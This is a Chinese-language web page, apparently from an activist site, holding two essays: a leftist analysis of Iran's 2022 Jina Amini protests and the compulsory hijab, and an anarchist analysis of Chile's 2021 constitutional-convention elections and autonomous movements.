“末日的开端”：这句话是2022年9月25日维权组织 “寻求正义的教师” 在 Mahsa/Jina Amini 吉娜被杀一周后，就伊朗当前的斗争周期发表的声明中使用的表述。这句话抓住了这个历史时刻的利害关系。它意味着街头的无产者—— 特别是妇女和少数民族 —— 认为44年的伊斯兰独裁统治的结束已经非常接近了。他们已经进入了一个明确的革命阶段。除了革命，没有任何其他解决方案。

2017年12月至2018年1月的起义是伊斯兰共和国历史上的一个分水岭，当时全国各地100多个城市的数百万无产者反抗执政的寡头，对由苦难、不稳定、独裁、伊斯兰专制和暴力镇压所支配的生活说：“够了”。这是全社会，特别是德黑兰的左翼学生第一次表达对整个系统的否定—— “不论是改良派还是强硬派，都滚吧，游戏结束了！”

在过去的五年里，整个国家一直在燃烧。你可以说它是从两端燃烧起来的：在全国性的长期骚乱和涉及教师、学生、护士、退休人员、工人和其他社会阶层的有组织斗争之间。 仅举一例，教师群体在过去六个月中动员了六次大规模的示威和罢工，每次都在**100**多个城市发生。这场运动的领导人和著名的活动家目前都已经被逮捕了，现在都在监狱里，但教师反抗运动仍在继续动员着。

这两个层次的斗争—— 自发的群众起义和更有组织的抵抗形式—— 是相互关联的。每一个斗争周期都比前一个周期更加激烈和 “好战”，而且周期之间的时间间隔也越来越短。

尽管如此，**Mahsa/Jina** 的死亡还是释放出了一些质的变化，这必须被视为与**2017**年**12**月 ~ **2018**年**1**月起义开始的历史时期的决裂。

上一轮起义是由明确的经济阴谋挑起的（例如，2019年11月燃料价格上涨了三倍），并针对过去30年里专制的新自由主义在结构上造成的普遍苦难。伊朗的经济危机和极其严酷的阶级分化并不仅仅是美国

制裁的结果—— 并非那些*伪反帝人士想让我们相信的那样—— 也不仅仅是国际货币基金组织在1990年代两伊战争后强加的结构调整的结果。虽然这些都是绝对重要的因素，但是，我们看到的社会问题不是简单的抽象和 “外部” 的，而是更深层次和更长期的历史过程的结果，在这个过程中，统治寡头残酷地剥削了绝大多数人口，使劳动不稳定，使社会再生产的各个领域商品化，并残酷地压制工团、工会和任何其他有组织的政治行动形式。

我们不应低估美国和欧盟的制裁对人们日常生活的灾难性和破坏性影响，也不想淡化过去在伊朗的 “半殖民主义” 历史与现在的相关性。我们不能忘记英国工党参与了**1953**年由中央情报局策划的政变，推翻了民选总理穆罕默德·摩萨台，他倡导伊朗的石油工业国有化。正是这样的帝国主义干预，为霍梅尼这种伊斯兰主义者的崛起提供了社会条件，他们劫持了**1979**年的进步革命，建立了专制独裁政权。 相反，我们的立场是一种政治上的否定，以 “既不也不” 的逻辑运作，同时批评伊斯兰共和国和美国及其盟友。这种双重否定是形成真正的国际团结和国际主义事业本身的根本。

现在，尽管在过去五年里有各种周期的斗争和政治组织形式，但这一轮是不同的，因为起义是由吉娜·阿米尼被杀而点燃的，她是一名库尔德族妇女，由于被强制戴头巾 —— 自1979年革命以来伊斯兰共和国父权统治的结构支柱。这次国家杀戮的种族和性别层面改变了伊朗的政治动态，引起了前所未有的发展。

首先，抗议活动开始于库尔德斯坦—— 吉娜的家乡萨盖兹，也就是她出生和埋葬的地方—— 这一事实对之后发生的事情起到了关键作用。在反对伊斯兰共和国的政治运动和社会斗争的历史中，库尔德斯坦有着特殊的地位。在1979年革命之后，当伊朗大多数波斯人对建立伊斯兰共和国的公投说 “是” 时，库尔德斯坦坚决说 “不”（见这张历史照片）。霍梅尼向库尔德斯坦宣战，更确切地说，是 “Jahad”。随之而来的是库尔德人（和库尔德左翼政党）与革命卫队（即将要夺取政权并劫持革命的伊斯兰教力量）之间的武装斗争。许多非库尔德左翼当时也加入了库尔德斯坦，因为他们认为库尔德斯坦是需要保卫的 “最后堡垒”—— 在这个社会地理环境中，仍然有可能实现革命的进步和左翼的理想。尽管库尔德斯坦在经过近十年的武装斗争和许多其他形式的政治组织后被击败，但库尔德斯坦从未向伊斯兰共和国屈膝。

因此，吉娜被谋杀后出现的一个口号是：“库尔德斯坦，库尔德斯坦，法西斯的坟场”。在吉娜被谋杀后，立即是库尔德妇女开始高呼：“Jin, Jian, Azadi”（妇女、生命、自由），这是最初由土耳其的库尔德妇女喊出的著名口号，最近在罗贾瓦（叙利亚北部和东北部地

区）也是如此。在伊朗，这个口号现在已经超越库尔德斯坦，传播到全国各地，以至于目前的运动，确实是一场女权主义革命，被称为：**“Jin, Jian, Azadi”**。

(Demonstrators chanting “Kurdistan, Kurdistan, the graveyard of fascists.”)

在这个口号的三个术语中，第二个术语 Jian [生命] 有一些引人注目的特点。Jin [妇女] 指的是性别解放，Azadi 指的是自主和自治，而 Jian，首先让人想起运动的象征性烈士吉娜·阿米尼(Jina Amini) 的名字（因为在库尔德语中，Jina 也有生命的意思）。在吉娜的坟墓上，她的家人刻下了以下句子：“亲爱的Jina，你没有死，你的名字成为了法典”。她成了以前所有烈士的普遍象征，标志着所有其他的**“Jina”**，她们的生活被伊斯兰共和国直接或间接地毁掉了，因为她们的性别、阶级、性取向，或统治者对生态环境的破坏。

这场运动有一个存在的组成部分，在推特上（用 #Mahsa_Amini 或 #Jina_Amini ）的伊朗用户也表达了这一点，他们讲述了在过去44年里他们和他们的朋友及家人的生命是如何被浪费的—— 被折磨，被以法外的和表演性审判的方式监禁，他们的生命被浪费在监狱外的日常生活中，没有任何机会被完全实现。正如德国哲学家狄奥多·阿多诺（Theodor Adorno）所说的那样，他们有命而无生 [Das Leben lebt nicht]。 然而，这种对过去的忧郁回忆是面向未来的，渴望最终结束耗尽我们生命能量和生命过程的僵尸伊斯兰共和国。有一个未来需要被夺回，在这个未来里，没有人会因为她的性别或她的头发而被杀害，没有人会被折磨，没有人会遭受贫困—— 一个由真正的而不仅仅是形式上的自由所支配的无阶级社会（尽管不是每个人都赞同最后一个目标）。

> 因为，阶级之战如果不是通过将生命从被资本主义积累和所有其他维持和保证这种积累的殖民统治形式中解放出来，又能意味着什么呢？

当恐惧站在一个不显示任何原则的畸形专制政权面前时，已经变成了它的反面：愤怒、力量和团结。自**1979**年革命以来，被压迫阶级从未如此团结过。显示妇女之间的姐妹情谊，团结起来反对父权制的镇压力量的视频，让所有人看得惊心动魄。全国各地所谓的 “中心” 和 “边缘” 之间，以及传统上对立的少数民族之间（西阿塞拜疆省的库尔德人和土耳其人之间）建立的团结是前所未有的。青年人建立路障，赤手空拳或用鹅卵石对抗警察的勇气和决心令人震惊和钦佩。

德黑兰西部的 Satarkhan 街，2022 年 9 月 23 日，Mehr（伊朗历月之一）的第一天 0点 15 分左右。

作为被压迫、被支配、被剥削的社会阶层，女性处于将恐惧转化为愤怒、将从属地位转化为集体主体性、将死亡转化为生命的最前沿。女性抗议者勇敢地摘下她们的头巾，在空中挥舞，并在为阻止警察暴力而设置的火焰路障中焚烧头巾。在伊朗，没有什么比焚烧头巾更有力量的了：这就像1930年代希特勒政权下的焚烧纳粹标志。与西方企业媒体的报道相反，伊朗的抗议活动不仅仅是关于 “道德警察”—— 这些抗议代表的是对系统地复制资本主义父权制与伊斯兰教法则的社会、政治和司法结构关系的坚定的拒绝。

作为一种社会关系，希贾布 (Hijab)标志着伊斯兰共和国的一系列构成要素。首先，从象征性的角度来看，强制的希贾布代表了整个父权制体系。遮盖身体的强制性做法每天都在提醒妇女，她们在社会中的地位低下，她们是第二性，她们的身体在结构上属于家庭、兄弟、父亲、男性伙伴，当然也包括老板和国家。其次，头巾也代表了宗教的、专制的权威，它能够—— 或者至少曾经能够—— 将伊斯兰的着装规范强加给被统治阶级的身体，特别是妇女。反对希贾布意味着从根本上挑战整个伊斯兰共和国的权威和合法性。第三，从国际角度来看，作为一种 “伊斯兰美德”，希贾布也被统治阶级理解为 “反帝国主义” 的最重要代表。正如阿道夫·希特勒系统地使用 “卍” 字来从意识形态上表达国家社会主义所统治的社会的 “繁荣” 和 “幸福” 一样，伊斯兰共和国将头巾强加给妇女，以传达这样一种印象：伊朗社会是由所谓的伊斯兰美德和理想的实现构成的，因此从根本上反对西方帝国及其道德价值和社会规范。因此，据称希贾布代表了对帝国的一种意识形态和实际的替代。

革命刚结束，1979年3月8日，数万名妇女在德黑兰街头游行，反对强制头巾，高呼 “我们革命不是为了走回头路”—— 指的是强制戴头巾的反动方面，旨在让历史的车轮 “倒退”。当时，伊斯兰教媒体和霍梅尼将女权主义者和其他上街的妇女称为 “帝国主义的支持者”，声称她们赞同 “西方文化”。

可悲的是，没有人听到这些妇女的声音，也没有人注意到她们的警告，甚至连左派也不例外，他们灾难性地将反帝国主义的斗争置于本体论的优先地位，将所有其他形式的统治相对化和淡化为 “次要”。

今天，当妇女们在街上焚烧头巾，整个社会强调拒绝强制性的希贾布时，这就把整个父权制和专制权威以及伊斯兰共和国的*伪反帝国主义合法性撼动到了核心。所有这些都是伊朗阶级统治的支柱，全体人

民都在拒绝它们。伊斯兰共和国在人民心中早已死亡，现在人民必须在现实中杀死它。

必需清楚地强调这点：焚烧头巾并不是以法西斯主义的伊斯兰恐惧症为导向的右翼姿态。没有人在挑战任何人的宗教。相反，它是一个宣布从控制妇女身体的强制性服饰中解放出来的姿态。头巾与中东的“妇女文化”毫无关系—— 某些后殖民主义思想家暗示给你的东西是完全错误的。在伊斯兰共和国的背景下，头巾是一种阶级统治的方法，是资本主义父权制的一个组成部分，必须毫不妥协地加以批判。

作为一种历史上特定的社会关系，资本主义有能力运用“非资本主义”的社会关系，为其自身的积累和再生产服务。宗教，像父权制一样，不是过去的事情；它不是一个不合时宜的残留物，并非在现代社会的表面下没有社会效力。在像伊朗这样的资本主义社会，阶级统治作为一个整体是由伊斯兰教法典来调解和重新编码的。强制性头巾是伊斯兰共和国父权制的一个关键因素，它使妇女被边缘化、并系统地控制她们的身体。同时，这也通过性别等级制度和人际支配导致了广义上的工人阶级内部的分裂。

那些认为“街上的人只是以色列、沙特和美国的傀儡”的伪反帝国主义者，不仅以典型的东方主义方式剥夺了人民的能动性和主体性，为伊朗这样的社会预设了一个“抽象的本质”—— 他们还复制了伊斯兰共和国本身的反动言论和做法。理解这一点对于国际社会声援伊朗妇女和更广泛的被压迫阶层至关重要。可能会令你震惊的是，即使是穿着伊斯兰服装（如长袍）的宗教穆斯林妇女也强调拒绝强制性的希贾布，并在街头和社交媒体上支持这一运动。

现在妇女们站在斗争的最前沿，勇敢地与国家的镇压机器作搏斗，这个伊斯兰共和国从未显得如此虚弱。问题已经不是“要做什么”，而是如何完成它？

库尔德斯坦发起了抗议活动，并提出了女权主义和反权威的口号。这促进了大学里的学生—— 总是处于政治事件前沿的社会部门—— 特别是在德黑兰，通过他们的集会和静坐罢工组织抗议并扩大起义。像COVID-19一样，在吉娜死后的两天时间里，起义迅速蔓延到了全国；到目前为止，被压迫阶级已经在全国**80**多个城市与政权的镇压力量进行了激烈的斗争。

因为我们已经进入了一个明确的革命阶段，抗议者与警察和巴斯基（伊斯兰革命卫队的民兵组织）之间的街头冲突已经不像以前那样“一边倒”。人们已经意识到，通过社会合作、团结和实践，他们也可

以耗尽镇压力量并最终将其关闭。特别是年轻人正在学习各种自卫的方法，比如制作一个“手工钉子螺丝”，刺破警察摩托车的轮胎，阻止他们攻击抗议者。独立医生在互联网上公布了他们的手机号码，以帮助那些在抗议活动中受伤的人，因为抗议者去医院往往很危险。还有人呼吁建立“邻里组织”，这是一个连接住在同一地区的人的地方结构。

鉴于政府的意识形态机构对社会上的大多数人来说已经完全失灵，伊斯兰共和国继续自我复制的主要媒介就是镇压机构，仅在这次起义中，就已经有80人死亡，数千名抗议者被逮捕。我们不要忘记，这是在互联网终中断期间发生的，这是伊斯兰共和国过去多次采用的残酷手段，特别是在2019年11月的起义中 —— Abaan-e-Khoonin[“血腥十一月”]—— 当时“当局连续四天完全关闭了互联网，把国家变成一个大黑箱，凶残地屠杀人民而不受惩罚”。吉娜·阿米尼还代表并呼吁纪念在“血腥十一月”期间在互联网关闭的掩护下被杀害的数百名烈士。

那些支持伊斯兰共和国的人认为它是全球地缘政治中的一股“反帝国主义力量”，却忽略了它在街上谋杀自己的人民，非法监禁人民，并对他们施以酷刑以获取虚假的口供。

现在，十天之后，这一轮自发的群众起义的前景取决于更有组织的抵抗形式，特别是工人、教师和学生的罢工。在伊朗，与最先进的资本主义社会不同，工会和工团并没有被纳入资本主义体系。工会并不只是为了实现自己的特殊要求，从而阻碍了更激进运动的形成；相反，他们寻求统治阶级认为是生存威胁的根本性转变。这就是为什么目前有数百名工会和工团成员（教师、学生、工人、退休人员活动家）被关在监狱里，其中一些人还受到酷刑。

在过去的四天里，有许多进步的学生和教师呼吁举行“大罢工”，还有一些匿名的激进派活动家利用1979年革命后创作的革命歌曲制作了煽动性视频。石油工人也威胁说，如果伊斯兰共和国继续镇压街头的抗议活动，他们将进行罢工。如果这种情况发生，那么整个动态将发生变化。

可以肯定的是，起义需要新的能量，需要一个能让它继续下去的事件，因为要在很长一段时间内每天艰苦地维持这样一个起义是非常困难的。更广泛地说，除了目前的紧迫性外，推翻伊斯兰共和国在很大程度上取决于关键的组织问题，这不仅需要“集体智慧”，还需要时间通过试验和试错将其付诸实践。缺少的环节是自发的群众起义和其他有组织的斗争形式之间的有机关系。这意味着这种关系的每一方都通

过形成地方-全国性的组织以及工会和工团之间更加协调的行动，在内部变得更加协调。

必须强调的是—— 这对国际团结至关重要—— 运动中的激进趋势需要得到促进，而反动分子则应受到批评。社会所寻求的革命不仅仅是一场政治革命，不仅仅为了让专制的伊斯兰共和国被另一种—— 比如，更民主、更自由的政治形式所取代；它更是一场彻底的社会革命，在这场革命中，不仅人民的个人主体性被改变，最重要的社会结构也被改变。西方的企业媒体（例如，**BBC**波斯语和伊朗国际）以及像马西赫·阿利内贾德（与美国最保守的势力合作，支持禁止堕胎和通过军事干预进行“政权更迭”）这样的名人嘴炮正在尽力宣传运动中的反动趋势，将整个问题简化为“人权”问题。他们把资本主义社会结构中出现的社会关系错误地描述为仅仅是法理上的关系。他们的操纵性宣传描绘了一个反动的替代方案，将“忠诚主义”注入大众的想象中：一种旨在恢复被**1979**年革命推翻的社会政治秩序的政治。

幸运的是，街上的人们并不傻；他们绝对不会相信这种说法的。对我们世界各地的国际主义同志来说，重要的是支持这场运动的激进趋势和口号，反对那些把1979年革命前的波斯国旗带到示威活动中来传播民族主义的忠诚的家伙们。

问题不只是如何推翻伊斯兰共和国，而是在推翻后如何捍卫革命及其进步力量。激进势力和进步派行动者得到的支持越多，就越容易捍卫革命，对抗反动势力。伊斯兰共和国在全球资本积累中（通过石油和天然气等原材料的供应）以及中东地区的地缘政治权力关系中发挥着关键作用。显然，地区和全球大国将尽其所能地塑造革命进程并操纵其结果，使之符合自己的经济和地缘政治利益。只有在强大的国际团结下，支持运动中最激进的倾向，尚未发生的革命才能保持住自己的地位，反对忠诚主义的反动势力，反对地缘政治干预，反对暴力融入全球积累的循环。

未来充满了不确定性。然而，在资本主义的历史进程中，自下而上和反对一切形式的统治的阶级之战仍将是一种重要的物质力量。在这一点上，我们是肯定的。〇

延伸阅读 ——

「图」

- The Beating Heart of the Labor Movement in Iran—On neoliberalism and resistance in Iran

- The Bread of Freedom, the Teaching of Liberation—An interview with a teacher about the teachers' movement by Collective 98 (Farsi)
- Iranian Pseudo-Anti-Imperialism
- There Is an Infinite Amount of Hope, but Not for Us
- Revolt in Iran

原文

除非运动，其他任何方式赢得收益都是危险的：一个典型教训给中国社会参考 - iyouport

反抗者-寻求经验

自治运动和建制派的斗争，难度在哪里？

我们此前介绍过智利的反抗运动，见《从独裁到民主，反抗的火焰—48年》，其中包含的行动技巧值得中国活动家研究。本文将讨论的是行动后的变革战略，这同样重要，甚至更重要，它意味着您的反抗努力究竟能否如愿获得您想要的改变。

2021年5月15日至16日的周末，智利各地的选民选举了参加大会的代表，这些代表将为国家制定新的宪法。这次投票机会，本身就是通过2019年的起义赢得的让步。

在这些选举中，右翼被酣畅淋漓地击败，但也并没有一个体制内的左翼政党获得多数。企业媒体将此誉为“独立”政治的胜利 —— 但是，这对当初给左翼政治家带来动力的自治运动意味着什么？在下面的分析中，智利的记者探讨了代议民主政治和直接行动民主政治之间不可调和的矛盾。

非建制左翼在智利的选举胜利是多年来故事的最新发展，从巴西的“粉红潮”使路易斯·伊纳西奥·卢拉·达席尔瓦等左翼政治家上台，到2011年运动后希腊的激进左翼联盟的胜利。在这些案例中，右翼和中间派政治的失败为这些选举胜利铺平了道路。但是，左翼政党一直在艰难地兑现他们的承诺，甚至被更极端的右翼政客接替 —— 巴西的博索纳罗，希腊的新民主党。横向的社会运动如何驾驭左翼选举胜利带来的局面，以确保他们的前景不被政党和政府的命运所束缚？

- 如果给您错过了《从民主到自由》

智利有一段右翼反政府直接行动的历史，这使问题更加复杂。在这个时代，国家权力就像一个烫手山芋，谁拿着它就能烧死谁，甚至在统治秩序似乎已经被打败的时刻，我们应该着眼于未来，为下一轮做好准备。

第一部分：国家机构的分散性

「图」

在去年10月的宪法公投之前，我们对即将到来的选举运动浪潮提出了以下这些想法：

> 虽然智利起义一周年很快就到了，但我们不确定圣地亚哥的未来会怎样。我们看到围绕这场运动的言论从争取 Dignidad（尊严）的运动转变为反对皮诺切特独裁统治时期遗留下来的宪法的运动。10月25日，在智利起义周年纪念日的一周后，智利人将在全国范围内进行公投，以决定是否召开大会，重新制定从皮诺切特时代继承下来的宪法。

宪法公投

「图」

2021年5月15–16日的周末举行了一场大型选举，全国各地的选民从竞争城市市长、市议会代表和参加为智利制定新宪法的代表候选人中进行选择。这原本计划在4月15日举行，但各政党同意将选举推迟一个月，以应对智利的COVID-19大流行病的第二波。

参加这些选举的居民大会和社会组织强调了关于政治治理在智利应该如何运作的三个主要原则：

1) 人民主权：改变政治制度，使政府行为反映出智利普通人的利益，而不是迄今为止这般反映制度受益者阶层的利益（不论是左翼还是右翼）。响应长期以来的社会要求，这些要求到现在为止还没有得到任何回应。

2) 民众力量：政客应该代表社会运动的利益，这些非体制性的社会组织通过运动来表达自己的社会要求。

3) 领土自治：改变中央集权的政治制度，这种制度给予了国家政府更多的权力，而牺牲了与人民有直接联系的地方市政当局。

- 如果您错过了《中央政府的神话》

在公投后的几个月里，各政党和社会组织编制了候选人名单，并在这

些选举中进行竞选。社会组织有机会像政党一样行事，为制宪会议制定自己的选举名单，并举行自己的初选来选择市长候选人。

右翼确信他们会获得足足三分之一的选票，而这是他们在制宪会议上获得否决权所需要的。在去年2月的一次采访中，国务卿海梅·贝洛利奥 (Jaime Bellolio) 断言，在决定谁将参与制定智利新宪法的过程的选举中："我们相信，我们将以3比0获胜"。

事情的结果并非如此。

- Vamos por Chile: 塞巴斯蒂安·皮涅拉的中右翼和皮诺切特政党联盟。
- Apruebo Dignidad：由共产党、自由阵线、及其附属的社会组织组成。
- "Apruebo"：由皮诺切特独裁统治后上台的中左翼政党联盟 "la Concertación" 组成。
- Del Pueblo：由独立候选人组成的联盟，许多人与社会组织有联系，与政党没有任何关系。
- Nueva constitución：由有政党背景的独立候选人组成的联盟，他们没有以政党的名义参加选举。
- 其他（otros）：13名独立人士，他们作为本地区的代表参加选举，与官方名单没有任何关系。
- 土著人民（Pueblos indígenas）：为智利原住民保留的17个代表席位，通过特别投票选出，只提供给智利9个原住民民族之一推举出的成员。

以上是建制派的样子。

当许多邻里社区大会组织起来宣传自己的候选人时，无政府主义者集会试图解读目前的情况，并确定自治主义者在这个不断变化的体制地形中的立场。

在此次大选之前，反建制的倾向被认为会发生以下情况：

1) 投票率可能会很低，这将使选票偏向右翼。

2) 右翼将在制宪会议上获得至少三分之一的席位，使他们能够阻止任何重大的制度改革。

投票率确实很低：只有43%的合格选民参加了投票。但是，尽管这种低投票率表明缺乏"民众参与"，而且建制派左翼将其与人民主权和人

民权力的原则联系在一起，但右翼在选举中还是遭受了重大损失。此外，没有任何政党联盟获得否决权，因为独立候选人赢得了42%的席位。智利的企业媒体将 “独立人士” 作为制宪大会选举的主要赢家，称其为从 “社会爆发”（即2019年的起义）中涌现出的新兴政治集团。但是，这些独立人士并不是一个联盟 —— 他们是由来自不同社会组织和智利不同政治活动历史的不同候选人拼凑而成的。

这造成了一种独特的情况，在这种情况下，没有任何一个政党或领导人能代表整个社会运动。“雷·皮卡丘”

制宪代表选举中值得注意的获胜者包括圣地亚哥43岁的校车司机 “雷·皮卡丘”（上图），他成为尊严广场抗议活动的标志，并在上述 “lista del pueblo” 板块中赢得了席位，以及人权捍卫者和马普切精神领袖、著名活动家 Machi Francisca Linconao 的获胜。这就她：

官僚主义 VS 反对派，“政治阶级” 与 “人民” 的较量

「图」

一些无政府主义者提出，在21世纪，国家权力是个烫手山芋 —— 他们认为，由于新自由主义的全球化使得国家结构难以减轻资本主义的影响，没有任何政党能够长期掌握国家权力而不失去公信力。根据这一理论，替代性倾向和政治实践只要能够以统治秩序的反对者自居，就能蓬勃发展，但这些倾向一旦沦为政客可以宣称代表的政治纲领，或者与执政党发生联系（无论对错），就往往会失去民众的支持。

在智利，占主导地位的政党未能在制宪会议上站稳脚跟，因为他们都提出了技术官僚危机管理的愿景，而这一愿景已经被此次智利起义和COVID-19大流行病所否定。

参加2017年总统选举的人数多于2021年5月的选举。2017年，现任总统塞巴斯蒂安·皮涅拉以53%的选票获胜。皮涅拉的支持者指出委内瑞拉的政治和经济危机，威胁说 “如果智利偏离其新自由主义道路，它也会遇到同样的问题”。他们还动员了反移民的恐惧：近200万移民，其中大部分来自委内瑞拉，为了逃避其他地方的经济危机而逃到了智利。右翼警告说，自由阵线（一个相对较新的左翼联盟）或社会党的胜利将使国家变成一个 “Chilezuela”，通货膨胀猖獗，失业率高，养老基金蒸发，社会动荡，杂货店空空如也 …… 宣称确保稳定未来的唯一途径是坚持右翼的新自由主义政策。

- 如果您错过了《什么是新自由主义？它如何威胁民主？》

The specter of “a ‘Chilezuela’ with rampant inflation, high unemployment, evaporating pension funds, social unrest, and **empty grocery stores**.”

具有讽刺意味的是，一个不稳定的 **“Chilezuela”** 的现实已经在右翼政府的领导下得以实现。虽然起义证明了人们对智利的新自由主义模式普遍感到失望，但国家对**COVID-19**的反应表明，政府根本没有能力应对危机。到目前为止，政府的主要经济救济形式是允许智利人从国家管理的私人养老金中提取10%。2020年6月，发生了自COVID-19大流行病开始以来的第一次大规模抗议活动，人们要求政府批准这些提款；政府在6月和12月批准了两次提款。2021年4月，国会试图批准第三次提款，被皮涅拉尽其所能地阻止了。右翼担心，这些提款可能会对退休基金管理会(AFP)投资的巨型公司造成不可挽回的损失。

右翼有足够的国会席位来阻止投票。如果国会通过该法，皮涅拉可以在最高法院挑战国会，许多人担心最高法院会支持他。然而，在明显考虑到皮涅拉糟糕的支持率（大约15%）和即将到来的选举之后，超过三分之二的国会成员批准了该法律，包括皮涅拉所在政党的许多代表。同一天，皮涅拉在电视上发表讲话，旁边是两位最有前途的右翼总统候选人华金·拉温和伊芙琳·马赛，宣布他将在最高法院挑战国会。一周后，最高法院裁定皮涅拉败诉，批准了该法律。

智利的治理体系在历史上对联邦政府的行政部门投入了大量的权力；这比皮诺切特1981年的宪法还要早。无论执政党联盟的政治家们如何努力与总统保持距离，他们在选举中的成功都与总统的行动和政策息息相关。在COVID-19大流行病开始时，皮涅拉总统宣布进入紧急状态，对行动和集会实行严格限制，并将更多的权力集中在行政部门。

政府对起义的漠视、以及大流行病带来的经济和社会危机，使反对派能够通过凸显智利新自由主义制度的弱点来建立权力。在皮涅拉的支持率急剧下降和他的反对率急剧上升的同时，右翼政党联盟也发生了分裂，因为他们的政客试图将自己作为皮涅拉的反对派。这被证明是徒劳的，因为他们的政治愿景与新自由主义模式完全挂钩，该模式未能在2019年开始的危机浪潮中提供稳定。

同时，政治反对派也与技术官僚的治理模式有关，这种模式在皮诺切特独裁统治后多年来一直在智利保留着新自由主义。这些政治家被广泛视为与掌权的政党同属一个政治阶级，他们代表了“向民主过渡”的典范，试图通过缓慢改革独裁政权的政策来维持稳定。追求两党的协议，制定由大学培训的专家提供信息的政策，他们代表了“国家可以逐步缓解新自由主义模式的灾难性社会影响”的承诺。

虽然他们证明自己与这场起义的“社会需求”脱节，但他们也因为未能阻止任何“官方”政策而使自己变得无关紧要。当皮涅拉要求国会批准延长一年后的紧急状态时，反对派批评了他的政策，但还是批准了延期。这些反对党曾希望增加财政救济和社会援助 —— 特别是财政激励和价格控制（这些都是违宪的，但在理论上可以在紧急状态下实施）。然而，行政当局拒绝实施这些建议中的大部分。每走一步，反对派都在谈论如果他们执政，或者如果1981年的宪法被修改，他们将如何管理危机。然而，他们证明了议会模式无能，因为他们无法推进替代项目，即使是在紧急状态下有可能回避皮诺切特时代的宪法。

在2019-2020年智利示威之前，自由阵线联盟是智利新左派的代表，提出了一种与体制内反对派决裂的选举政治愿景。这个联盟产生于**2011**年的学生运动，特别是自治主义运动，它试图打破智利共产党对社会运动的指挥作用。他们的政治纲领应该是通过听取智利基层社会运动的意见，而不是技术官僚的意见。他们在国会的代表应该代表他们政党的基础，只根据党员的共识在国会投票。他们的成员将是社会运动和自治邻里活动的积极成员，以便掌握其当选代表可以解决的社会问题的脉搏。该联盟在2017年获得了20%的总统选票，并选出了两名前学生运动领袖加布里埃尔·博里奇 (Gabriel Boric)和乔治·杰克逊 (Giorgio Jackson)进入国会。

然而，该党并没有像希腊和其他地方的这类政党那样，作为起义的代表声音而人气大增，反而是在**2019**年**10**月之后的几个月里几乎崩溃了。在起义的高峰期，当共产党和其他左派政党拒绝与极右翼进行谈判时，博里奇违背了他所在政党的共识，签署了“和平与新宪法协议”。后来，他投票支持“反封锁、反抢劫、反蒙面、反占领土地”法，该法加重了对直接行动的惩罚，而这些行动正是智利起义的核心。因此，数以千计的自由阵线激进活动家和社会组织与该联盟断绝了关系。前自由阵线的激进分子回忆说，他们在社区里受到骚扰，在集会上被吐口水。加布里埃尔·博里奇坐在右翼身边签署“和平与新宪法协议”的这张照片已成为一种meme，出现在对自由阵线政治家在社交媒体上发布的任何帖子的回复中。

在这次选举中，独立候选人的崛起是对智利新左派矛盾的直接否定，年轻的政客们声称代表人民的力量和社会运动，但却投票反对这些原则。在入选制宪会议的独立候选人中，许多人是离开自由阵线的政党激进分子和社会组织的成员，他们认为只有通过赢得自己的席位才能获得政治权力。还有一些人是直到现在还从未信任过选举政治的活动家，但他们认为这次制宪会议是智利历史上第一次可以不让政客和智利精英参与编写宪法的途径。

新的选择是由在制宪代表选举中获胜的各种独立集团代表的。在许多方面，这显示了一种发展选举政治的尝试，以应对在委内瑞拉、玻利维亚和其他经历过所谓 “粉色潮” 的国家的失败，这些国家在21世纪初出现了左翼选举胜利的高潮。而对于那些左翼人士来说，没有任何一个中心人物或政党能体现当前变革时刻的希望和愿望。对于政治精英和右翼来说，他们认为似乎不会有左翼政权可以抵制或要求外国干预。新当选的圣地亚哥市长

市长选举

「图」

尽管智利的政治体系存在合法性危机，一些人还是对市政政治保持了更多的信心。左翼一直试图在地方选举中获得权力，表面上是为了在国家政府的政策违背当地人的意愿时对其进行挑战。

智利的大都市中心 —— 圣地亚哥、比尼亚德尔马和瓦尔帕莱索 —— 都选出了或重新选出了左翼市长。这些候选人的胜利是由于把自己作为智利社会运动的工具。在市长选举之前，共产党和社会组织提出了一个替代性的初选，叫做 “Alcaldia Constituyente”，在这个选举中，各城市可以对社会组织和政党提出的市长候选人进行投票。这次初选的低投票率在圣地亚哥成了一个meme，社交媒体上流传着空荡荡的投票站照片。尽管如此，共产党候选人、现任市议员伊拉西·哈斯勒还是赢得了初选，并在随后的选举中获胜，成为圣地亚哥近来第一个共产党员市长。圣地亚哥森林公园的横幅，上面写着“不要再发射催泪瓦斯了，你在毒害我们！”

哈斯勒击败了现任圣地亚哥市长豪尔赫·亚历山德里（Jorge Alessandri），他是每周在尊严广场（Plaza Dignidad）举行的抗议活动和圣地亚哥街头的非正式摊位的积极反对者。在起义的头几周，邻里社区集会在整个圣地亚哥激增。已经是圣地亚哥市议会成员的哈斯勒积极参与了在森林公园的集会，该社区直接毗邻尊严广场。现任市长豪尔赫·亚历山德利积极与警方协调，促使尊严广场军事化，使居民每天暴露在催泪瓦斯、橡皮子弹和装甲车的状态下，这些武器用来镇压街上的抗议者。在采访中，哈斯勒一直强调警察每天的暴行威胁着该地区的居民，这比亚历山德利继续暗示的 “犯罪幽灵” 构成了更大的风险。

当反国家运动与新的管理机构联系在一起时

「图」

目前，体制内的左翼成员在政治战略方面向自己提出了以下问题：我们如何防止右翼建立权力和影响治理？有没有新的治理形式可以让新的政治体系更好地应对危机？

但是，我们应该问自己不同的问题：自治的、不受统治的力量将在社会冲突和危机中发挥什么样的作用？我们如何准备与过去的自治倾向不同的行动？过去那些人没能脱离体制内的左翼，最终消逝在无关紧要的地方。

在审视以前那些同样声称代表“人民”的左翼政府的失败时，我们可能会更多地了解这个由依附、异端、效忠和赞助组成的混乱的世界。热衷于制宪会议的问题在于，它可能会分散我们对（代议制）政治领域之外的一切事情的注意力，而它所假定的概念框架也让我们对右翼运动在（代议制）政治领域之外的事情毫无准备。风险在于，我们会让右翼获得势头，成为新的“反国家”力量（特朗普时代的所有讽刺都已经很熟悉了），而左翼运动最终会依靠警察来镇压右翼运动——当右翼乘着这股势头重新上台时，同样的警察最终会被用来镇压革命者。

研究如何在持续的社会冲突中采取直接行动，将确保我们继续有办法在一个领域中维护自主地位，否则将越来越多地将危机解决方案限制在改良派的治理框架中。在智利农村以伐木卡车为目标的直接行动。

